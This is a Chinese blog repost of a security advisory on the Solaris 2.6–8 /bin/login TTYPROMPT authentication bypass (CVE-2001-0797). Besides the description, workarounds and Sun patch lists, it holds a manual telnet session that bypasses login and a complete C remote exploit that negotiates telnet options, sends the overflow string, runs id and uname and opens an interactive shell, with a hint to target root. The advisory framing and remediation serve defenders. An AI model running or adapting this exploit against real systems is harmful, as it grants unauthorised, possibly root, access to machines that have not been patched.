Section categories

Life [60]
lives
Hacker news [55]
file
Hack [30]
bug learn
Hacker's culture [26]
thoughts self learn
Hack Teams [1]
team
War#Peace [35]
army

Blog

Home » 2010 » May » 12 » Sun Solaris /bin/login TTYPROMPT环境变量绕过验证漏洞<lion>
1:52 AM
Sun Solaris /bin/login TTYPROMPT环境变量绕过验证漏洞<lion>

信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

环境变量绕过验证漏洞

攻击类型:

远程攻击

发布日期:

2002-10-02

更新日期:

2002-10-05

受影响系统:

Sun login
- Sun Solaris 8.0 SPARC
- Sun Solaris 8.0 x86
- Sun Solaris 7.0 SPARC
- Sun Solaris 7.0
- Sun Solaris 2.6 SPARC
- Sun Solaris 2.6

安全系统:

漏洞报告人:

Jonathan Stuart

漏洞描述:

BUGTRAQ  ID: 5848
CVE(CAN) ID: CVE-2001-0797
许多远程登录应用使用login程序进行认识登录操作。
Solaris 2.6、7和8的/bin/login存在一个漏洞,可以通过环境变量TTYPROMPT绕过验证。
远程攻击者只需在telnet里给环境变量TTYPROMPT简单定义成长度为6的字符串,然后连接上远程主机,再输入用户名,后面跟64个" c",最后加一个回车就可以以这个用户直接登陆到系统而不需要口令验证。如果系统允许root用户远程登陆,就可以直接得到root用户的控制权。
需要注意的是,这并不是一个新的安全漏洞,它其实是"System V系统Login远程缓冲区溢出漏洞”的另外一种利用方法 :
http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=2056
由于telnetd存在一个潜在的安全隐患:接受远程客户端传递过来的TTYPROMPT变量,并将其传递给/bin/login程序。当攻击者远程或者本地修改传递给login的TTYPROMPT变量时,将导致在发生"System V系统Login远程缓冲区溢出漏洞”时,可以覆盖一个与认证状态有关的重要变量,导致无需身份认证即可登录。
因此,如果已经安装了"System V系统Login远程缓冲区溢出漏洞”的补丁的话,就不受当前漏洞的影响。
然而由于这种利用方式非常容易进行攻击,甚至无需编写攻击代码,所以对于没有安装相应补丁的系统,威胁就非常严重。

测试方法:

警告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost
SunOS 5.8
bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin
lion(lion@cnhonker.net) 提供了如下测试程序:
/******************************************************************
Solaris 2.6, 7, and 8 /bin/login TTYPROMPT remote exploit.
Tested for:
SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc
SunOS 5.7, 5.8 x86
Code by lion
lion@cnhonker.net
Welcome to HUC website http://www.cnhonker.com
******************************************************************/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/telnet.h>
#define BUFLEN 1024
char shellcode[]= "\x97\x97\x97\x97\x97\x97";
void usage(char *p)
{
printf("Usage: %s [-u user] [-p port] <-h host>\n\n", p);
printf("       -u: login username (default: bin), try \"root\" :)\n");
printf("       -p: port to use (default: 23)\n\n");
printf("\n");
exit(0);
}
void msg(char *msg)
{
perror(msg);
exit(errno);
}
u_int32_t get_ip(char *host)
{
struct hostent *hp;

if(!(hp = gethostbyname(host))){
fprintf(stderr, "cannot resolve %s\n", host);
return(0);
}
return(*(u_int32_t *)hp->h_addr_list[0]);
}
int get_socket(char *target, int port)
{
int sock;
u_int32_t ip;
struct sockaddr_in sin;
if(!(ip = get_ip(target)))
return(0);

bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = ip;

if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
msg("socket");
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
msg("connect");
return(sock);
}
void send_wont(int sock, int option)
{
char buf[3], *ptr=buf;

*ptr++ = IAC;
*ptr++ = WONT;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
msg("write");
return;
}
void send_will(int sock, int option)
{
char buf[3], *ptr=buf;
*ptr++ = IAC;
*ptr++ = WILL;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
msg("write");
return;
}
void send_do(int sock, int option)
{
char buf[3], *ptr=buf;
*ptr++ = IAC;
*ptr++ = DO;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
msg("write");
return;
}
void send_env(int sock, char *name, char *value)
{
char buf[BUFLEN], *ptr = buf;

*ptr++ = IAC;
*ptr++ = SB;
*ptr++ = TELOPT_NEW_ENVIRON;
*ptr++ = TELQUAL_IS;
*ptr++ = NEW_ENV_VAR;
strncpy(ptr, name, BUFLEN-20);
ptr += strlen(ptr);
*ptr++ = NEW_ENV_VALUE;
strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
ptr += strlen(ptr);
*ptr++ = IAC;
*ptr++ = SE;

if(write(sock, buf, (ptr - buf)) < 0)
msg("write");
return;
}
void do_negotiate(int sock)
{
send_wont(sock, TELOPT_TTYPE);
send_wont(sock, TELOPT_NAWS);
send_wont(sock, TELOPT_LFLOW);
send_wont(sock, TELOPT_LINEMODE);
send_wont(sock, TELOPT_XDISPLOC);
send_will(sock, TELOPT_LFLOW);
send_will(sock, TELOPT_LINEMODE);
send_wont(sock, TELOPT_OLD_ENVIRON);
send_will(sock, TELOPT_NEW_ENVIRON);
send_will(sock, TELOPT_BINARY);
send_env(sock, "TTYPROMPT", shellcode);
return;
}
void write_attack_buf(int sock, char *user)
{
char outbuf[128],*s_buf;
int i, j;
if(!(s_buf = (char *)calloc(BUFLEN*2, 1)))
msg("malloc");
strcpy(outbuf, user);
for(i = 0; i < 65; i++)
{
strcat(outbuf, " c");
}
strcat(outbuf, "\n");

printf("send to target:\n%s\n", outbuf);
if(write(sock, outbuf, strlen(outbuf)) < 0)
msg("write");

/* -- 2 reads for reading the garbage which screws up term -- */
if((j = read(sock, s_buf, BUFLEN)) < 0)
msg("read");
if((j = read(sock, s_buf, BUFLEN)) < 0)
msg("read");
free(s_buf);
return;
}
int main(int argc, char **argv)
{
int c, n, sockfd, port = 23;
char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
char user[36], host[36];
fd_set rset;
printf("============================================================\n");
printf("Solaris 5.6 7 8 telnetd Remote exploit\n");
printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.7, 5.8 x86\n");
printf("Code by lion, Welcome to HUC website http://www.cnhonker.com\n\n");
if(argc <3)  usage(argv[0]);
strcpy(user, "bin");
while((c = getopt(argc, argv, "h:u:p:")) != EOF){
switch(c){
case 'h':
strncpy(host, optarg, 36);
break;
case 'u':
strncpy(user,optarg, 36);
break;
case 'p':
port = atoi(optarg);
break;
}
}

if(!(sockfd = get_socket(host, port)))
exit(-1);
do_negotiate(sockfd);
n = read(sockfd, buf, sizeof(buf));
write_attack_buf(sockfd,user);
send_wont(sockfd, TELOPT_BINARY);
sleep(1);
read(sockfd, buf, sizeof(buf));
write(sockfd, shellstr, strlen(shellstr));
n = read(sockfd, buf, sizeof(buf));
FD_ZERO(&rset);
for(;;){
FD_SET(0, &rset);
FD_SET(sockfd, &rset);
if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
msg("select");

if(FD_ISSET(sockfd, &rset)){
bzero(buf, sizeof(buf));
if((n = read(sockfd, buf, sizeof(buf))) < 0)
msg("read");
if(n == 0){
printf("EOF\n");
exit(0);
}
write(1, buf, n);
}

if(FD_ISSET(0, &rset)){
bzero(buf, sizeof(buf));
if((n = read(0, buf, sizeof(buf))) < 0)
msg("read");
if(n == 0)
exit(0);
write(sockfd, buf, n);
}
}
}

解决方法:

临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 如果不需要telnet服务,关闭telnet服务。
* 如果您无法禁用telnet服务,也可使用TCP wrapper、防火墙或包过滤技术禁止不可信IP对telnet服务(例如 23/TCP端口)访问。
注意:这不能防止本地攻击者利用这个漏洞提升权限。
厂商补丁:
Sun
---
Sun 已经提供了补丁解决此漏洞。
补丁下载:
注意:您必须安装下面(1)中的安全补丁才可以彻底消除漏洞威胁,只安装(2)中的补丁将不能防止本地用户提升权限。
(1). /bin/login溢出漏洞
OS Version               Patch ID
__________               _________
SunOS 5.8                111085-02
SunOS 5.8_x86            111086-02
SunOS 5.7                112300-01
SunOS 5.7_x86            112301-01
SunOS 5.6                105665-04
SunOS 5.6_x86            105666-04
SunOS 5.5.1              106160-02
SunOS 5.5.1_x86          106161-02
(2). telnetd接受远程TTYPROMPT环境变量漏洞(可选)
OS Version               Patch ID
__________               _________
SunOS 5.8                110668-03
SunOS 5.8_x86            110669-03
SunOS 5.7                107475-04
SunOS 5.7_x86            107476-04
SunOS 5.6                106049-04
SunOS 5.6_x86            106050-04
您可以使用下列链接来下载相应补丁:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=<补丁ID>&method=h
例如,对于代号为111085-02的补丁,您可以使用下列链接:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=111085&method=h

2005-08-10 10:35

Category: Hack | Views: 959 | Added by: 0or1 | Rating: 0.0/0
Total comments: 0
Name *:
Email *:
Code *:

#Warning# 

  小伙伴,本博客数据大部分来源于伟大的internet,包括工具具有攻击性,请慎重使用、遵守天朝法律:-),当然,除非你牛B,,,Good luck! hacker!